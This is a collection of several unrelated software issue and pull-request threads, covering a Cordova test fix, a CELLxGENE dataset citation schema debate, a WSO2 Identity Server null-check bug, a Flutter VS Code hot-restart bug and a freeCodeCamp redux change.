CB-9000 Failing properly if no test results were found

https://issues.apache.org/jira/browse/CB-9000
It's over 9000!

LGTM

@dblotsky Can you please review and help merge.

Sorry for delay. Verified, LGTM. :+1: Rebased and merged.


Add citation for data reuse policy

Design
Note: The Seurat Encoding will be updated to reflect that its example must have a .rds format for the dataset version.
uns (Dataset Metadata)
...
When a dataset is uploaded, CELLxGENE Discover MUST automatically set its citation for data reuse. Curators MUST NOT annotate the following column.
citation (Take 2)

Key
citation

Annotator
CELLxGENE Discover

Value
str. For example:"Publication: https://doi.org/10.1126/science.abl4896 Dataset Version: https://datasets.cellxgene.cziscience.com/dbd8b789-3efa-4a63-9243-90cff64f2045.h5ad curated and distributed by CZ CELLxGENE Discover in Collection: https://cellxgene.cziscience.com/collections/e5f58829-1a66-40b5-a624-9046778e74f5"
Template for citations:

Citation Element
Value

Publication:
Publication DOI for the collection This element MUST be present if the collection includes a publication DOI; otherwise, it MUST NOT be present.

Dataset Version:
Permanent url to the version of the dataset

curated and distributed by CZ CELLxGENE Discover in Collection:
Permanent url to the collection

citation (Take 1)

Key
citation

Annotator
CELLxGENE Discover

Value

str."Dataset Version: permanent url to the dataset version curated and distributed by CZ CELLxGENE Discover in Collection: permanent url to collection". For example:"Dataset Version: https://datasets.cellxgene.cziscience.com/dbd8b789-3efa-4a63-9243-90cff64f2045.h5ad curated and distributed by CZ CELLxGENE Discover in Collection: https://cellxgene.cziscience.com/collections/e5f58829-1a66-40b5-a624-9046778e74f5"

Appendix A. Changelog
schema v4.0.0

uns (Dataset metadata)

Added citation

Context
A citation acknowledges our data contributors, and allows us to track the use and impact of our data and service.
Also see Reproducibility of results used for research obtained through CELLxGENE Discover.
Potential Citation Elements
Potential elements for a citation (emphasis documents preferences from earlier triages):

permanent url to the collection
[Collection] Title
[Collection] Consortia
[Collection] Publication DOI - @jychien - "Is there an alternative when a DOI is not present?" (Note, there are only 6 collections without a DOI)
[Dataset] Title
" curated and distributed by CZ CELLxGENE Discover at permanent URL to this version of the dataset

My perspective is that the citation should only contain immutable elements. Otherwise, revisions to collection metadata would require datasets in the collection to be re-processed which includes RDS and CXG conversions. For example, if a DOI was added or a collection name was changed.
Prototyping
Immutable elements
Dataset Version: https://datasets.cellxgene.cziscience.com/dbd8b789-3efa-4a63-9243-90cff64f2045.h5ad (or .rds curated and distributed by CZ CELLXGENE discover in Collection : https://cellxgene.cziscience.com/collections/e5f58829-1a66-40b5-a624-9046778e74f5
Publication DOI
doi:10.1126/science.abl4896 : curated and distributed by CZ CELLxGENE Discover at https://datasets.cellxgene.cziscience.com/<version id>.h5ad (or .rds)
No Publication
curated and distributed by CZ CELLxGENE Discover at https://datasets.cellxgene.cziscience.com/<version id>.h5ad (or .rds)
More collection metadata
Tabula Sapiens : Tabula Sapiens - All Cells, doi:10.1126/science.abl4896, [CZ Biohub, CZI Single-Cell Biology], curated and distributed by CZ CELLxGENE Discover at https://datasets.cellxgene.cziscience.com/<version id>.h5ad (or .rds)

Permanent URL to this version of the dataset

@brianraymor is this possible? The permanent URL will be created after ingestion and once the H5AD has been validated and labels have been appended?

@danieljhegeman assured me that it was possible or maybe he meant Possimpible. it's a permanent url to the version of the dataset.

@pablo-gar @brianraymor correct! All Dataset download links are for Dataset versions, i.e., they are completely static.

I like the user story:

A citation acknowledges our data contributors, and allows us to track the use and impact of our data and service.

Unless doi updates are very expensive, To optimally acknowledge our data contributors, I think should include publication doi in the citation, when we have it.
Social pressures will motivate scientists using CELLxGENE data to cite their colleagues. I believe that if we include the doi in the format, when it's present, we get closer to citing the work of the scientist and more scientists will use our citation.

Unless doi updates are very expensive

If the Publication DOI was added or changed AFTER datasets are uploaded, then these datasets in the collection would need to be re-processed in some manner to inject the DOI into their citation. I will review costs with @nayib-jose-gloria.

@pablo-gar @brianraymor correct! All Dataset download links are for Dataset versions, i.e., they are completely static.

@danieljhegeman I'm wondering about the sequence of events here. I understand the links can be created and they currently exist. But for them to be automatically added to the h5ad by the validator, they need to exist before the validator is run at ingestion time.

My strong preference is the prototype "More collection metadata", for citation the more the better imo.

for citation the more the better imo.

@pablo-gar - have you modeled what the collection of citations might look like for a slice of the census if this was the case?

It is typically the case that the doi is not available at the beginning of wrangling and at times is not added until after the Collection has been made public. This is because majority of people that want their data uploaded is so that reviewers for publications can have access to the data.

Thanks for confirming, @jychien. And there are also cases where the preprint DOI(s) are updated later to publication DOI(s).

The citation as encoded in the h5ad will be added to the census datasets data frame. A user can connect any column of that data frame to any slice of the census via dataset_id which is in both datasets and obs data frames -- thus obtaining the citation for each cell (as well as dataset/collection title, doi, etc).
I'm planning on at least providing a notebook that shows the process of creating a concatenated string or list of citations for a slice. And at most we could provide some sugar API to automate this process, but I see the latter as low priority.

I think should include publication doi in the citation, when we have it.

➕

@pablo-gar @brianraymor correct! All Dataset download links are for Dataset versions, i.e., they are completely static.

@danieljhegeman I'm wondering about the sequence of events here. I understand the links can be created and they currently exist. But for them to be automatically added to the h5ad by the validator, they need to exist before the validator is run at ingestion time.

We currently create an empty dataset version object and generate the dataset version ID before we validate a dataset, in order to track processing status. So at the post-validation / write-labels step we can determine what the download link will be after processing and set it. By the time a user sees it when downloading an h5ad, the dataset will have finished processing and it will be a valid link to that dataset version.
We will have to make a small change to pass the version ID into the validation + write-labels command. But otherwise it should be fine

Unless doi updates are very expensive

If the Publication DOI was added or changed AFTER datasets are uploaded, then these datasets in the collection would need to be re-processed in some manner to inject the DOI into their citation. I will review costs with @nayib-jose-gloria.

There's a way to do this such that it's slightly cheaper (in terms of AWS costs) and faster than a typical dataset reprocessing. So whether it's worth doing depends on how often we expect the collection metadata found in the citation to change. If it's about as often as we expect a collection's datasets to need changes via a typical revision process, then we should go for it. If it's significantly more often, we can dig deeper into estimated costs to determine if it's worth it. It would take a few weeks of dev time to add the additional logic / aws infrastructure needed.
Another note--if we are ok with eventual consistency (~up to 1 month delay), we would pick up any collection metadata changes as part of minor schema update migrations and potentially get them for "free" as part of that monthly process.

My strong preference is the prototype "More collection metadata", for citation the more the better imo.

I didn't feel the more collection was useful because there would be a very good chance that the additional information would have discrepancies from the paper citation and could create confusion. If adding more information, I would try to get it from crossref via the doi.
Could you explain why you have a strong preferences for the study title?

@ambrosejcarr @jahilton
To resist it is useless, it is useless to resist it
How can I resist the two of you when you agree? See Take 2 in the top-level summary comment.

@ambrosejcarr @jahilton
To resist it is useless, it is useless to resist it
How can I resist the two of you when you agree? See Take 2 in the top-level summary comment.

Love it. 👍

LGTM


Missing null-check in IdentityOauthEventHandler leads to 500 error when removing a scope-less application authorised API resource

Describe the issue:
Can't delete a scope-less application authorized API resource in the Console application due to a 500 error.
How to reproduce:

Setup and start a Identity Server 7.0.0 instance.
Access the Console application, and create a Standard-Based Application.
Go to API Authorization, click 'Authorize an API Resource', select any option for the 'API Resource' field, leave 'Authorized Scopes' blank, and click the 'Finish' button.
Try to delete the authorized API resource by clicking the trash icon, ticking on the 'Please confirm your action.' checkbox, and clicking the 'Confirm' button.
Observe the error message in the bottom-right corner, and the stacktrace in the carbon logs.

Expected behavior:
Users should be able to remove an Authorized API Resource definition even if it doesn't have any defined scope. Either:

IdentityOauthEventHandler::handleEvent does a null-check before calling AuthorizedAPI::getScopes at [1];
Change AuthorizedAPI::getScopes [2] to return an empty list if scopes is null;
Add an else branch in - AuthorizedAPIDAOImpl::getAuthorizedAPI [3] to set an empty list on the AuthorizedAPI#scopes field.

Environment information:

Product Version: IS 7.0.0

[1] https://github.com/wso2-extensions/identity-inbound-auth-oauth/blob/v7.0.26/components/org.wso2.carbon.identity.oauth/src/main/java/org/wso2/carbon/identity/oauth/listener/IdentityOauthEventHandler.java#L284-L286
[2] https://github.com/wso2/carbon-identity-framework/blob/v7.0.78/components/application-mgt/org.wso2.carbon.identity.application.common/src/main/java/org/wso2/carbon/identity/application/common/model/AuthorizedAPI.java#L99-L102
[3] https://github.com/wso2/carbon-identity-framework/blob/v7.0.78/components/application-mgt/org.wso2.carbon.identity.application.mgt/src/main/java/org/wso2/carbon/identity/application/mgt/dao/impl/AuthorizedAPIDAOImpl.java#L232-L237

The Master was already fixed by the following PRs:

https://github.com/wso2-extensions/identity-inbound-auth-oauth/pull/2378
https://github.com/wso2-extensions/identity-inbound-auth-oauth/pull/2607


Hot Restart disappears the moment I click on Hot Restart and ctrl+s stop working Accordingly

Hot Restart disappears the moment I click on Hot Restart and ctrl+s stop working Accordingly

Doctor summary (to see all details, run flutter doctor -v):
[√] Flutter (Channel stable, 2.2.2, on Microsoft Windows [Version 10.0.19042.1110], locale ar-EG)
[√] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
[√] Chrome - develop for the web
[√] Android Studio (version 4.1.0)
[√] VS Code (version 1.58.2)
[√] Connected device (3 available)

@kareemX
What IDE are you seeing this behavior on ?

I'm experiencing the same problem on VS Code

This was a bug in v3.25.0 of the VS Code extension and was fixed in v3.25.1. You may need to reload VS Code after it's installed v3.25.1 for the update to be loaded.
If you still see this after upgrading to v3.25.1 and reloading, please file an issue at https://github.com/Dart-Code/Dart-Code/issues. Thanks!

Thanks


feat(client): pull percentage challenge data from redux

This pr attempts to move the data that is required for calculating block completion percentage and showing the donation block.
Here are the things to test for this pr:

check if performance of landing page changes (chrome audit/ lighthouse)
check if percentage calculation is correct on the completion modal.(NA for new RWD)
check if the donation block pop up at the end of block(NA for new RWD)

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the main branch of freeCodeCamp.
[x] I have tested these changes either locally on my machine, or GitPod.

Related: https://github.com/freeCodeCamp/freeCodeCamp/pull/46811

So we would need the result of this query to be used in the progress bar and the logic for the block donation modal.
I could keep the query in the progress bar wrapper, but it would need to communicate the percentage back up to the parent components that have the challenge submission button.
That seemed unintuitive, so I went with pushing the same data to redux so they could be accessed from multiple places.

@ojeytonwilliams, Yes.